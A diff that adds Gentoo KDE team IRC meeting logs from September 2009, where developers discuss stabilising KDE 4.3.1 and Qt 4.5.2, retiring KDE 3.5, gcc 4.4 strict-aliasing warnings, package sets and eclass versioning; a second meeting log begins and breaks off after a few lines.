+[22:24:29] <wired> at
+[22:24:38] <jmbsvicetto> And we need to get it stable or there'll be no stable KDE-4.3.1
+[22:25:12] <reavertm> 4.3.1 should od
+[22:25:23] <reavertm> do
+[22:25:33] <reavertm> but... mplayerthumps would need changes
+[22:25:48] <jmbsvicetto> By the way, we're including KDE-4.3.1 in the 10.0 livedvd, so we should try to get it stable around October 4th
+[22:25:49] <reavertm> (disabling phonon backend - as it only works with latest phonon)
+[22:25:59] <reavertm> otherwise kde would pull mplayer...
+[22:26:22] <jmbsvicetto> reavertm: can 't we leave it out? (mplayerthumbs)
+[22:26:39] <reavertm> why should we? part of kdemultimedia
+[22:27:00] <wired> whats wrong with having mplayer as a dep (besides an extra dep)? is it not working ok?
+[22:27:44] <wired> reavertm?
+[22:27:45] <reavertm> I suppose it is, whatever if you like one could go with 4.3.1 phonon and that change in mplayerthumbs
+[22:28:08] <jmbsvicetto> reavertm: I mean if it's too much trouble to get it working with current deps, we can leave it out for now and get it marked stable later (perhaps even on 4.3.2 or later releaes)
+[22:28:11] <reavertm> I won't die for this cause, 4.4pre is just not worse than 43.1
+[22:28:34] <wired> jmbsvicetto: well we have tested the phonon snapshot extensively
+[22:28:47] <jmbsvicetto> wired: ok
+[22:29:04] <jmbsvicetto> as long as its an exception (snapshots) ;)
+[22:29:10] <reavertm> I even asked some kde devs about it :P
+[22:29:36] <wired> jmbsvicetto: is there an issue with stabling it
+[22:29:36] <wired> ?
+[22:29:43] <wired> ok
+[22:29:52] * wired kicks isp for lag
+[22:30:07] <wired> anyone else wanna say anything about stabilization?
+[22:30:25] <reavertm> apart from get to work? :)
+[22:30:30] <tampakrap> yeah
+[22:30:43] <tampakrap> it isn't possible to have it fully stabilized until october 4th
+[22:30:58] <bonsaikitten> well, we need more stable testers ...
+[22:31:42] *** Joins: alexxy (n=alexxy@gentoo/developer/alexxy)
+[22:31:48] <wired> alexxy :)
+[22:31:51] <alexxy> hi all!
+[22:31:53] <reavertm> bonsaikitten: I use stable system :P
+[22:31:59] <alexxy> sorry that i'm late
+[22:32:02] <bonsaikitten> ooh :)
+[22:32:14] <reavertm> (with exceptions for kde and its deps)
+[22:32:15] <alexxy> isnt meeting was schedulet for tommorow?
+[22:32:22] <reavertm> initially it was
+[22:32:24] <wired> alexxy: scarabeus sent a correction email
+[22:32:25] <tampakrap> the problem is that the one month period is beyond that date
+[22:32:28] <wired> he failed at the date
+[22:32:31] <reavertm> nevermind, you missed nothing
+[22:32:43] <tampakrap> not to mention the time that arch teams need
+[22:33:15] <wired> tampakrap: no its not, you added the ebuilds on sept 1st
+[22:33:15] <wired> the problem is getting archs to stable it in 3 days
+[22:33:15] <wired> assuming we have fixed bugs
+[22:33:33] <tampakrap> one month with no open bugs
+[22:33:50] <jmbsvicetto> wired: 4.4_pre? Preferably we should do 4.3.1 instead, but if 4.4_pre solves other issues, let's go with it
+[22:33:54] <tampakrap> i hope i'm wrong on this one...
+[22:34:16] <jmbsvicetto> tampakrap: sure, but we can start the work to get it marked stable asap
+[22:34:30] <wired> jmbsvicetto: 4.4_pre20090520 yeah, thats the one we have in ~testing now
+[22:34:50] <jmbsvicetto> tampakrap: we can file an "early request" bug
+[22:35:00] <jmbsvicetto> tampakrap: it's up to arch teams whether they want to mark it stable or not
+[22:35:02] <tampakrap> ah ok then
+[22:35:07] <wired> and we also have one extra motive
+[22:35:09] <jmbsvicetto> tampakrap: and for the livedvd we only need amd64/x86
+[22:35:10] <wired> livedvd
+[22:35:33] <tampakrap> ok let's hope this will work then
+[22:35:47] <wired> I recommend we do a mini meeting next week
+[22:35:56] <reavertm> may be
+[22:35:57] <wired> to check on the state of bugs
+[22:35:59] <jmbsvicetto> tampakrap: Besides, I think we're starting to have many amd64/x86 users on KDE-4
+[22:36:00] <tampakrap> nice idea
+[22:36:16] <jmbsvicetto> wired: good idea
+[22:36:49] <wired> same day next week? 24th?
+[22:37:20] <tampakrap> fine by me
+[22:37:35] <wired> great, i'll send the email, we can adjust if needed
+[22:37:36] <jmbsvicetto> wired: sure
+[22:37:57] <wired> lets do our best and close all bugs :D
+[22:38:07] <wired> ok enough with this then, lets proceed
+[22:38:17] <wired> kde3.5, kde-sunset
+[22:38:28] <wired> who's taking care of this and can give us an update?
+[22:38:33] <wired> tampakrap?/
+[22:38:41] <tampakrap> there is no progress in that subject
+[22:38:59] <tampakrap> apart from the fact that scarabeus created the overlay :P
+[22:39:01] <jmbsvicetto> On that spirit, I'd like to ask all of you interested in the livedvd to join #gentoo-ten get the ISOs, test them and fix any KDE bugs
+[22:39:06] <reavertm> so nobody is interested - good :)
+[22:39:19] <wired> reavertm: heh
+[22:39:20] <jmbsvicetto> I'm "owing" an email about it
+[22:39:28] <wired> jmbsvicetto: lol click send
+[22:39:48] <jmbsvicetto> The official email putting the "death seal" on KDE-3.5
+[22:39:51] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[22:39:55] <wired> ah that one
+[22:40:25] <wired> is anyone else interested in helping make the move to kde-sunset?
+[22:40:39] <wired> besides tampakrap? :P
+[22:40:45] <reavertm> no!
+[22:40:53] <reavertm> it should rot and die
+[22:40:56] <jmbsvicetto> hehe
+[22:40:56] <wired> reavertm: think positive, we'll get rid of it from the tree
+[22:40:58] <wired> :D
+[22:40:58] <tampakrap> i agree noone else is needed
+[22:41:07] <tampakrap> we just need to stabilize kde4 and kill 3
+[22:41:08] <jmbsvicetto> wired: I can help move the ebuilds there
+[22:41:22] <wired> great
+[22:41:34] <wired> not sure if we need scarabeus to give us access to it or if he added us all
+[22:42:03] <wired> ok, next item
+[22:42:06] <wired> kdeprefix
+[22:42:09] <tampakrap> wait
+[22:42:12] <tampakrap> about kde3
+[22:42:15] <wired> yeah?
+[22:42:26] <tampakrap> i have set some rules before moving ebuilds to kde-sunset
+[22:42:49] <wired> you should make Documentation/CODE
+[22:42:50] <tampakrap> i sent them in the previous meeting through scarabeus because i wasn't present then
+[22:42:55] <tampakrap> ah ok
+[22:43:05] <tampakrap> nice idea #2
+[22:43:25] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[22:43:29] <wired> OK
+[22:43:34] <wired> anyone else anything about kde3?
+[22:44:06] <wired> moving on then
+[22:44:08] <wired> kdeprefix
+[22:44:18] <wired> not sure what scarabeus had in mind when he added it to agenda
+[22:44:32] <wired> perhaps removing it completely?
+[22:44:49] <reavertm> I think there's no need to drop it from eclass
+[22:44:51] <reavertm> to much work :P
+[22:44:59] <alexxy> well its not usable in current state
+[22:45:06] <reavertm> and its masked
+[22:45:08] <alexxy> and it causes much more bugs
+[22:45:22] <jmbsvicetto> wired: I asked him to add this point to the agenda
+[22:45:25] <alexxy> so let it stay masked =)
+[22:45:33] <reavertm> we explicitly don't support any kdeprefixed installations
+[22:45:41] <wired> jmbsvicetto: ok, what did you have in mind?
+[22:46:09] <jmbsvicetto> The point is we should send an email letting those using kdeprefix of the new breakage and warning them they should really move out of +kdeprefix
+[22:46:25] <reavertm> I think we should still keep code in mind that it may be enabled as some point
+[22:46:25] <jmbsvicetto> +know
+[22:46:36] <reavertm> but this mail is needed
+[22:47:07] <wired> jmbsvicetto: ok, but they should know already, portage should have screamed when we masked it
+[22:47:28] <wired> but an email (and perhaps a blog post, i could do that) would help
+[22:47:42] <jmbsvicetto> That's all I'm after
+[22:47:44] <Pesa> a news item maybe?
+[22:47:50] <spatz> post a sticky in the forums, many go there
+[22:48:05] <reavertm> I think it is mentioned already
+[22:48:13] <reavertm> in stick in Desktop Environment
+[22:48:33] <wired> okay.. who wants to send the email?
+[22:48:52] <reavertm> Gentoo KDE Lead volunteered, no? :)
+[22:49:10] *** Parts: [Enrico] (n=chiccoro@gentoo/contributor/Enrico)
+[22:49:10] <jmbsvicetto> hehe
+[22:49:11] <wired> (jmbsvicetto) The point is we should send an email
+[22:49:16] <jmbsvicetto> I did
+[22:49:30] <wired> :)
+[22:49:31] <wired> ok
+[22:49:34] <wired> I'll write a blog post
+[22:49:57] <wired> anyone else have anything on kdeprefix?
+[22:50:18] * reavertm will add one quick point to agenda later
+[22:50:18] <wired> moving on
+[22:50:26] <wired> qt 4.5
+[22:50:43] <wired> some people (and some qt devs apparently?!) say its broken with gcc 4.4
+[22:50:54] <reavertm> is everyone aware of the problem? if not, then qt-4.5 may break with 4.4
+[22:50:58] <alexxy> wired: i dont see any breakages
+[22:51:00] <ayoy> do we have any evidence?
+[22:51:03] <alexxy> with gcc-4,4
+[22:51:07] <wired> not any im aware of
+[22:51:11] <reavertm> (apparently when strict aliasing is enabled)
+[22:51:36] <wired> well
+[22:51:39] <reavertm> gcc-4.4. is officially not supported (well, not listed in supported), for 4.5
+[22:51:57] <spatz> I remember someone reporting breakage with 4.4, and Sput confirming it's known to break, but I personally use it successfully
+[22:52:00] <tampakrap> isn't it in stabilization process though?
+[22:52:03] <jmbsvicetto> All I can say is that I haven't noticed any KDE-4.3.1 program crashing with qt-4.5.2 and gcc-4.4
+[22:52:06] <reavertm> and portage already spits QA warnings with gcc-4.3.2
+[22:52:11] <wired> does ANY of you have issues with qt 4.5 and gcc 4.4{,.1}?
+[22:52:11] <wired> cause so far its all blah blah blah
+[22:52:11] <wired> but no evidence
+[22:52:38] <wired> i say its FUD until proved otherwise by bug reports
+[22:53:07] <Pesa> no problem here, but gcc's warnings are quite scary
+[22:53:24] <ayoy> Pesa: what warnings? :)
+[22:53:27] <reavertm> I'll ask thiago about details and get back on next meeting (should have done it already..)
+[22:53:33] <Pesa> about strict aliasing
+[22:53:36] <wired> reavertm: alright
+[22:53:42] <wired> i still think we need proof of breakage
+[22:53:45] <ayoy> mhm
+[22:54:02] *** Quits: toralf (n=toralf@g224122197.adsl.alicedsl.de) (Client Quit)
+[22:54:23] <reavertm> ok, but...
+[22:54:34] <reavertm> if let's say it's horrible breakage, what then?
+[22:54:44] <reavertm> (and proven)
+[22:55:09] <Pesa> is it fixed in 4.6?
+[22:55:12] <jmbsvicetto> reavertm: The point is that if it's true, we can't get KDE-4.3.1 marked stable
+[22:55:16] <reavertm> who thinks we can hold back gcc-4.4 stabilization (with all those ricers around) until 4.6 is out? :P
+[22:55:22] <wired> well if its strick-aliases, can't we disable it?
+[22:55:30] <wired> strict*
+[22:55:40] <reavertm> jmbsvicetto: as of current stable gcc 4.3.2 we can
+[22:57:00] <reavertm> jmbsvicetto: it's not a matter of kde but qt4 (already stable :P)
+[22:57:19] <jmbsvicetto> hehe
+[22:57:28] <jmbsvicetto> qt? Who's that? ;)
+[22:57:39] <wired> jmbsvicetto: want to remove Qt from tree and see if kde works?
+[22:57:40] <wired> :D
+[22:58:25] <wired> anyway, we'll need to look into this
+[22:58:39] <reavertm> we need to work some procedures in case it's breakage :P
+[22:58:44] <wired> i wonder if enforcing something like -fno-strict-aliases would work, then again i have no idea of the problem or what causes it
+[22:59:14] <reavertm> can we filter flags for anything that builds against qt4?
+[22:59:34] <reavertm> I mean *anything*
+[22:59:40] <Pesa> nope 
+[22:59:42] <wired> not really
+[22:59:44] <reavertm> (with qt4 itself)
+[22:59:56] <wired> but maybe building the libs with that flag would be enough
+[23:00:01] <reavertm> so if anyone encounters random runtime failures ...
+[23:00:04] <wired> we really need more info and test cases
+[23:00:15] <Pesa> wired: nope, there are templates :)
+[23:00:21] <reavertm> unfortunately some code may be inline... templates
+[23:00:34] <Pesa> QVector for example
+[23:00:41] <wired> then we have to try to find more info and failure cases
+[23:01:00] <ABCD> the problem, I think, is in 2 headers installed by Qt; the flag would have to be added to every package that uses either header
+[23:01:05] <reavertm> and I think thiago talked about QVector suffering from aliasting for example
+[23:01:16] <wired> i suggest we look for info ( reavertm please ask like you said ) and we talk about this *important* issue on mini-meeting as well
+[23:01:26] <wired> even sooner in chat if we have updates
+[23:01:55] <jmbsvicetto> ok
+[23:01:58] <reavertm> on my TODO, next?
+[23:02:05] <wired> great
+[23:02:08] <Pesa> if the problem is limited to only some classes, is there a patch we can backport?
+[23:02:24] <wired> Pesa: well sput said that they're not willing to fix it
+[23:02:35] <Pesa> O_O
+[23:02:40] <reavertm> we can create one :P (with workaround maybe - like some gcc directive :P)
+[23:02:56] <wired> but this whole ordeal looks like fud to me, if its serious they will have to fix it
+[23:02:56] <wired> we can check other distros using gcc 4
+[23:02:56] <wired> 4.4
+[23:02:56] <wired> for custom patches
+[23:03:03] <reavertm> I think that's because there are too many changes 4.5<->4.6
+[23:03:20] <Pesa> i see
+[23:03:34] <wired> i'll try to see what other distros with gcc-4.4 (if any?! :P) do - if they do anything at all
+[23:03:44] <reavertm> they may not know
+[23:03:52] <wired> you never know
+[23:03:53] <reavertm> (kde devs may no know even)
+[23:04:00] <wired> or there might really be not issue at all
+[23:04:04] <wired> :)
+[23:04:17] <Pesa> next fedora and next ubuntu have gcc 4.4 afaik
+[23:04:35] <Pesa> maybe current fedora too
+[23:04:43] <wired> ok
+[23:04:43] <ayoy> wired: well, like you say, if was critical, they would have fixed it
+[23:04:52] <wired> ayoy: yes thats what i believe as well
+[23:04:52] <ayoy> and Qt 4.6 comes out ~December maybe
+[23:04:56] <alexxy> fedora has bleeding edge svn gcc version
+[23:05:06] <wired> they wouldn't leave their only stable release broken 
+[23:05:09] <wired> i hope
+[23:05:10] <alexxy> since its test ground for rhel 
+[23:05:14] <ayoy> exactly
+[23:05:21] <reavertm> ok, next please
+[23:05:27] <wired> right
+[23:05:28] <ABCD> it's QVector and QMap that are the issues, I think
+[23:05:28] <ABCD> /usr/include/qt4/QtCore/qmap.h:588: warning: dereferencing pointer 'y' does break strict-aliasing rules
+[23:05:28] <ABCD> /usr/include/qt4/QtCore/qvector.h:315: warning: dereferencing pointer 'pretmp.11332' does break strict-aliasing rules
+[23:05:29] <ayoy> btw, new OpenSuSE uses 4.4 iirc
+[23:05:46] <wired> we're dwlling on this, lets do our research and return 
+[23:05:49] <wired> dwelling
+[23:05:55] <wired> wtf is wrong with me today
+[23:06:10] <wired> next item
+[23:06:19] <reavertm> next topic - Qt 4.5.2 stab (ilization)
+[23:06:22] <wired> yeah
+[23:06:28] <reavertm> do it!
+[23:06:57] <reavertm> I mean - now - it fixes several issues with kde (including webkit crashes in quassel)
+[23:06:59] <wired> i don't see why not
+[23:07:14] <reavertm> also it makes kdevelop katepart faster (using raster)
+[23:07:18] <ayoy> is the exceptions flag issue fixed in the tree already?
+[23:07:25] <Pesa> no
+[23:07:32] <Pesa> and there's no issue with exceptions in 4.5
+[23:08:02] <wired> ayoy: is there a reason to touch exceptions in intree 4.5 ebuilds?
+[23:08:05] <Pesa> please leave 4.5 alone
+[23:08:26] <ayoy> well, what was the thing that we tested in overlay?
+[23:08:30] <reavertm> don't touch, cc arches :)
+[23:08:32] <ayoy> not 4.5-related?...
+[23:08:50] <wired> ayoy: you mean 4.6 tech preview 1?
+[23:09:03] <Pesa> i really don't know why we added that flag for 4.5
+[23:09:03] <ayoy> xml-patterns dependent on core w/exceptions
+[23:09:05] <ayoy> is it for 4.6?
+[23:09:08] <Pesa> yes
+[23:09:08] <wired> thats 4.6
+[23:09:11] <ayoy> aahhhh
+[23:09:12] <wired> 4.5 doesn't need it
+[23:09:13] <ayoy> sorry :)
+[23:09:28] <wired> any outstanding bugs in 4.5.2 im unaware of?
+[23:09:41] *** Joins: tkmorris (n=unknown@201-66-183-55.paemt704.dsl.brasiltelecom.net.br)
+[23:09:47] <reavertm> (how is sip/pyqt4 btw?)
+[23:09:48] <ayoy> i don't see any
+[23:10:25] <Pesa> reavertm: bug 284707
+[23:10:42] <wired> http://bugs.gentoo.org/show_bug.cgi?id=284707
+[23:11:15] <reavertm> very well
+[23:11:23] <alexxy> we need Wilkins here
+[23:11:56] <reavertm> ok, are we done iin this topic?
+[23:12:11] <wired> ok then who wants to open the stablereq bug?
+[23:13:00] <ayoy> wired: seems like you
+[23:13:05] <wired> heheh
+[23:13:08] <wired> alright
+[23:13:12] <wired> i'll do it
+[23:13:16] <wired> next item
+[23:13:24] <wired> eclass unitests
+[23:13:32] <reavertm> yeah, I think we could use some
+[23:13:39] <reavertm> in kde world at least
+[23:14:05] <reavertm> to verify blocks/dependencies,- in general kde-functions
+[23:14:41] <reavertm> just a general idea, what do you think
+[23:15:03] <ayoy> sounds interesting as for me
+[23:15:11] <wired> tests to make sure blocks/deps are correct?
+[23:15:16] <reavertm> yes
+[23:15:16] <Pesa> unit tests are usually a good idea for regression testing
+[23:15:26] <wired> sounds good
+[23:15:26] <reavertm> sto avoid further breakages in eclasses
+[23:15:54] <jmbsvicetto> sorry guys, I'm being swampped elsewhere. Please poke me if you need anything from me
+[23:16:01] <reavertm> sure
+[23:16:06] <wired> jmbsvicetto: np, whats your thought on unittests? :P
+[23:16:36] <wired> so.. reavertm you're on this?
+[23:16:45] <reavertm> I think nobody really objects, just someone will need to do it
+[23:16:54] <reavertm> i may start wriing simple tests
+[23:17:03] <wired> a headstart would be nice
+[23:17:08] <reavertm> ok, next item
+[23:17:14] <wired> great
+[23:17:15] <reavertm> jmbsvicetto: sets :)
+[23:17:16] <wired> sets
+[23:17:48] <reavertm> https://bugs.gentoo.org/show_bug.cgi?id=272488
+[23:17:56] <reavertm> I filed following bug ^
+[23:18:05] <reavertm> it's one of ways
+[23:18:16] <jmbsvicetto> wired: They're always a good idea
+[23:18:19] <jmbsvicetto> sets
+[23:18:30] <reavertm> i think it's generally accepted fact that current sets doesn't fit best
+[23:18:33] <jmbsvicetto> sorry, wired I meant about unittests
+[23:18:40] <jmbsvicetto> reavertm: agreed on that
+[23:18:46] <wired> jmbsvicetto: ok, reavertm will do the start
+[23:19:05] <wired> reavertm: yeah i've read that bug, its interesting
+[23:19:09] <jmbsvicetto> This is another email I'm "owing" us
+[23:19:10] <reavertm> so,I wanted to bring your attention on discussion about sets
+[23:19:12] <wired> but it seems the whole sets thing is "stale"
+[23:19:25] <wired> is anything being developed by zac/portage team?
+[23:19:46] <reavertm> wired: no interest - no need to make progress
+[23:20:13] <reavertm> if we present strong interest in some idea, zac may start coding
+[23:20:41] <reavertm> PROPERTIES=set has this nice feature that most of syntax is already there and may need a litlle work just to get it done
+[23:21:00] <reavertm> (with no operators supported - operators have been disabled from sets anyway)
+[23:21:21] <reavertm> s/a little/little/
+[23:21:42] <reavertm> so, please read this bug, form some opinion and comment on this bug
+[23:21:48] <reavertm> I think this is everything from me
+[23:22:12] <wired> anyone any ideas/comments?
+[23:22:22] <jmbsvicetto> reavertm: I think PROPERTIES="sets" has some interesting points and may be useful in some cases, but I still think the "original" sets are in general better for KDE
+[23:22:37] <Pesa> reavertm: very interesting idea
+[23:22:48] <reavertm> jmbsvicetto: only for live maybe
+[23:22:53] <reavertm> Pesa: it's zac idea :P
+[23:23:03] <jmbsvicetto> reavertm: I do need to write something about it and until I do, I should shut up as I'm not providing ideas for others to be able to comment on
+[23:23:21] <reavertm> jmbsvicetto: ;)
+[23:23:29] <wired> jmbsvicetto: you did have another idea, no? :)
+[23:23:59] <reavertm> properties set would only need us to maintain 'metapackages'
+[23:24:25] <reavertm> and i personally don't need anything else (even as a maintainer)
+[23:24:49] <jmbsvicetto> wired: my main point is that a list of package atoms can be more versatile
+[23:25:05] <reavertm> jmbsvicetto: USE flags?
+[23:25:10] <jmbsvicetto> wired: just to give you an example, I think that would be a clever way to fix the PDEPEND problem of QT
+[23:25:20] <reavertm> or dedicated USE_EXPAND variable?
+[23:25:26] <wired> jmbsvicetto: maybe instead of trying to write a spec, you could write a short comment @ reavertm's bug to get discussion going?
+[23:25:38] <jmbsvicetto> reavertm: I know what you mean and that's where optional deps would need to be supported by sets
+[23:25:41] <wired> (comment with a short description of what you're thinking)
+[23:26:11] <jmbsvicetto> wired: I'm not planning to write a spec, but I need to tie myself to a chair and write a few ideas before I can get people talking about them ;)
+[23:26:18] <wired> heheheh
+[23:26:28] <wired> you could trying the other way around
+[23:26:36] <wired> start a discussion and let it tie you to the chair to answer
+[23:26:38] <wired> :)
+[23:26:53] <reavertm> you mean trolling? :)
+[23:27:13] <wired> throwing ideas to each other isn't necessarilly trolling :)
+[23:27:44] <wired> reavertm: maybe you could ask zac to make a sample implementation of properties
+[23:27:48] <wired> if its easy to implement
+[23:28:21] <reavertm> for us to verify it's usefulness? :P
+[23:28:30] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[23:28:41] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[23:28:46] <wired> if its easy to implement yeah, itd be nice to have some hands on and might give us more ideas
+[23:29:24] <reavertm> wired: just imagine metapackage that pulls everything it's listed there even when uninstalled :P
+[23:29:31] <wired> some new portage guy could also do it for excersice :P
+[23:29:31] <wired> exercise
+[23:29:41] <jmbsvicetto> reavertm: That's what metapackages already do ;)
+[23:29:44] <reavertm> this is what properties=set is
+[23:29:54] <reavertm> jmbsvicetto: uninstalled...
+[23:30:04] <reavertm> or reemerged
+[23:30:20] <jmbsvicetto> reavertm: The new behaviour is for meta packages to pull all packages when they're already installed and or to remove all packages when uninstalling
+[23:30:37] <jmbsvicetto> reavertm: ok, you meant uninstalling
+[23:30:43] <reavertm> 'new behaviour'? never heard of it
+[23:31:25] <jmbsvicetto> reavertm: I mean that the goal of the PROPERTIES="set" proposal is to have the PM do that with those meta-packages - thus it's a new behaviour
+[23:31:27] <reavertm> yes, so it's easy to imagine how it works
+[23:31:36] <jmbsvicetto> sure
+[23:31:42] <reavertm> wired: ^ :P
+[23:31:52] <wired> :)
+[23:32:03] <wired> ok so we didn't get anywhere with sets
+[23:32:10] <reavertm> of course, for official implementation it will need GLEP and such
+[23:32:15] <jmbsvicetto> It doesn't address the optional deps (and I don't mean the use deps) and or set operations (math set operations)
+[23:32:34] <jmbsvicetto> which could be very useful
+[23:32:45] <reavertm> jmbsvicetto: what is 'optional deps'? USE_EXPAND variable wouldn't work?
+[23:32:58] <jmbsvicetto> let me give an example
+[23:33:05] <reavertm> operators - of course - we could use those
+[23:33:13] <reavertm> (but not really blocker for me :P)
+[23:33:27] <jmbsvicetto> let's say we want to have in the @kdebase set, kdebase-startkde as the only required dep (with all of its deps)
+[23:34:07] <jmbsvicetto> So anyone having @kdebase in their system could remove at will any package in the @kdebase set and the PM would respect it, except if it was kdebase-startkde or one of its deps
+[23:34:46] <jmbsvicetto> So emerge -uDav @kdebase would only update the installed packages - would work by default as emerge -uDav @kdebase/@installed
+[23:34:49] <reavertm> so 'install all by default' but allow uninstall
+[23:34:55] <jmbsvicetto> yes
+[23:35:20] <reavertm> please comment on bug :)
+[23:35:21] <jmbsvicetto> For instance, I might want to have the @kdenetwork set, but I really hate krfb and I don't want it around
+[23:35:25] <jmbsvicetto> hehe
+[23:35:34] <wired> how do you reemerge the whole set?
+[23:35:39] <wired> @kdebase/@all ?
+[23:35:45] <jmbsvicetto> wired: ^^ See, I'm already being asked to tie myself to chair ;)
+[23:35:53] <wired> jmbsvicetto: yeah, it worked
+[23:35:55] <wired> jmbsvicetto: :D
+[23:36:04] <wired> jmbsvicetto: keep going! =]
+[23:36:40] <jmbsvicetto> wired: That would need some discussion and documentation, but I could see emerge -uDav @<set> only updating the installed (and required deps) and emerge -av @<set> installing all packages in the set
+[23:36:43] <tampakrap> --keep-going
+[23:36:50] <reavertm> you can attach channel log :P
+[23:36:52] <jmbsvicetto> --jobs=5
+[23:36:58] <wired> -jobs=512
+[23:37:05] <reavertm> no @ oeprators
+[23:37:19] <reavertm> keep it simple and stupid :P
+[23:37:30] <wired> alright, so this should continue in bug, we should all ping jmbsvicetto once a day to tie him to the chair
+[23:37:33] <wired> :D
+[23:37:42] <jmbsvicetto> The tricky part is that the PM will need to store sets and need to use them for dep resolution
+[23:37:50] <jmbsvicetto> hehe
+[23:37:52] <reavertm> but is there. just needs attention
+[23:38:04] <reavertm> bug*
+[23:38:22] <jmbsvicetto> reavertm: another example - emerge -C @kdebase - 3 years from now when the sets are long gone ;)
+[23:38:50] <wired> EAPI="10" ? :)
+[23:39:06] <reavertm> but we should start to make people forget about '@' :P
+[23:39:38] <wired> alright
+[23:39:43] <reavertm> ok, anythig else
+[23:39:44] <wired> we're closing in 2 hours
+[23:39:52] <wired> reavertm: you wanted something extra to discuss about?
+[23:40:10] <reavertm> ah yes
+[23:40:18] <reavertm> versioning eclasses
+[23:40:35] <wired> I think we really need that
+[23:40:42] <reavertm> but just as 'stamp eclass version to be able to guess from 'environment' which eclass is really used
+[23:41:19] <reavertm> some EVERSION_kde4_base=number (incremented with every file.eclass commit) would work
+[23:41:27] <jmbsvicetto> reavertm: versioned eclasses were a good idea that never took off
+[23:41:37] <reavertm> I could be even posisble to do it as pre-commit hook
+[23:41:50] <jmbsvicetto> reavertm: that sounds doable
+[23:42:02] <jmbsvicetto> reavertm: hmm, let me check something
+[23:42:04] <reavertm> jmbsvicetto: I only would like to stamp version, not use for dependencies or such
+[23:42:18] <ayoy> reavertm: what for then?
+[23:42:25] <jmbsvicetto> reavertm: what you want is already there - # $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090917.txt,v 1.1 2009/09/17 21:13:41 wired Exp $
+[23:42:44] <jmbsvicetto> reavertm: what we need is a way to put that in the environment.bz2
+[23:42:45] <reavertm> jmbsvicetto: but it's not in environmeny as varianle
+[23:42:52] <jmbsvicetto> yes, I understand
+[23:42:59] <jmbsvicetto> reavertm: but there might be a way to get it
+[23:43:35] <jmbsvicetto> reavertm: hmm, thinking a few more seconds about it, are you sure it's not there?
+[23:43:46] <jmbsvicetto> reavertm: iirc, the complete eclass is supposed to be in environment.bz2
+[23:44:15] <reavertm> with all comments stripped
+[23:45:06] <reavertm> export "EVERSION_${ECLASS//-/_}"=1
+[23:45:15] <reavertm> for simple manual approach
+[23:45:30] <wired> some quick thinking, could we have eclass wrappers loading "custom-versioned" eclasses based on ebuild PN/PVs?
+[23:45:32] <reavertm> (pre-commit hook would be more clever)
+[23:45:37] <jmbsvicetto> reavertm: right
+[23:45:46] <jmbsvicetto> reavertm: maybe we could ask Zac to keep the version in the file
+[23:45:57] <jmbsvicetto> reavertm: It seems to me it would be very useful for other cases as well
+[23:46:08] <reavertm> how would he gather such info?
+[23:46:14] <jmbsvicetto> He already does
+[23:46:33] <reavertm> i mean, eclass version
+[23:46:48] <reavertm> what he he does is checking some timestamp I suppose
+[23:46:49] <jmbsvicetto> environment.bz2 picks the used eclasses. Currently the comments are being stripped, but it seems it could be useful to keep the 3rd line in the eclass
+[23:47:23] <jmbsvicetto> reavertm: I'm going after a "simpler" solution
+[23:47:32] <spatz> avoid using anything CVS specific as we might want to move away from that one day
+[23:47:35] <reavertm> yeah, and may even be sufficient
+[23:47:53] <wired> if that was doable we could have kde4-meta in ebuilds, kde4-meta-1 and kde4-meta-2 for example and kde4-meta would inherit per case, wouldn't that be easy to implement and practical?
+[23:48:02] <reavertm> jmbsvicetto: actually it won't
+[23:48:17] <jmbsvicetto> reavertm: why not?
+[23:48:35] <reavertm> jmbsvicetto: or at least we should set out own header in pre-commit anyway
+[23:48:57] <jmbsvicetto> spatz: The current discussions include using the git md5 for similar purpose
+[23:49:00] <reavertm> (as overlay eclasses are usually copy-paste to tree, so don't have cvs version signature)
+[23:49:16] <jmbsvicetto> reavertm: but the minute you commit an eclass to the tree, it gets a version
+[23:49:32] <jmbsvicetto> reavertm: and we could be using commit hooks in the overlay for the same goal
+[23:49:33] <reavertm> jmbsvicetto: the point is I don't want to work it only with tree
+[23:49:49] <reavertm> yes, ^
+[23:50:08] <reavertm> "or at least we should set out own header in pre-commit anyway"
+[23:50:09] <jmbsvicetto> I'm not arguing against commit hooks, just saying that for the tree we already have it ;)
+[23:50:12] <wired> jmbsvicetto: reavertm is what im saying doable?
+[23:50:41] * reavertm reads
+[23:50:49] <jmbsvicetto> wired: I'm too tired to think about it and am I'm no expert, but I think invariancy rules don't allow that
+[23:50:57] <jmbsvicetto> -am
+[23:51:22] <reavertm> wired: but it includes some eclass dependencies
+[23:51:28] <jmbsvicetto> wired: or you'll have to use the "safe vars" to do that if/case
+[23:51:29] <reavertm> sure it's easy to be done
+[23:51:51] <wired> think eclass bumping, big version changes would not affect old ebuilds/eclasses if that worked
+[23:52:00] <wired> and we don't need to get eclass versioning in portage
+[23:52:29] <jmbsvicetto> anyway, are we done for tonight?
+[23:52:34] <reavertm> it's just a matter what inherit depending on PV
+[23:52:40] <reavertm> I think we are
+[23:52:43] <wired> reavertm: i know, i wonder if portage would like it
+[23:52:46] <wired> we are
+[23:52:50] <wired> unless anyone wants to add something
+[23:52:53] <jmbsvicetto> reavertm: PV is one of the "safe vars" ;)
+[23:53:14] <wired> its seems noone wants
+[23:53:19] <wired> dismissed
+[23:53:20] <reavertm> jmbsvicetto: it's not safe unless it's marked readonly :)
+[23:53:33] <jmbsvicetto> :)
+[23:53:34] <wired> meeting ends, until next thursday :)
+[23:53:49] <jmbsvicetto> wired: can you please upload the log to the kde project space?
+[23:53:56] <jmbsvicetto> I can do the summary in the weekend
+[23:54:35] <wired> jmbsvicetto: cvs? sure
+[23:58:48] *** Parts: ayoy (n=ayoy@gentoo/developer/ayoy)
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090924.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090924.txt
new file mode 100644
index 00000000..d82099cf
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20090924.txt
@@ -0,0 +1,230 @@
+[22:07:55] <wired> sooooo
+[22:07:59] <wired> who's here?
+[22:07:59] <ayoy> that would rock :)
+[22:08:16] <reavertm> meetings are quite understaffed recently :P
+[22:08:21] <wired> yeah i have a feeling
+[22:08:23] <Pesa> here
+[22:08:24] <dagger> blame scarabeus
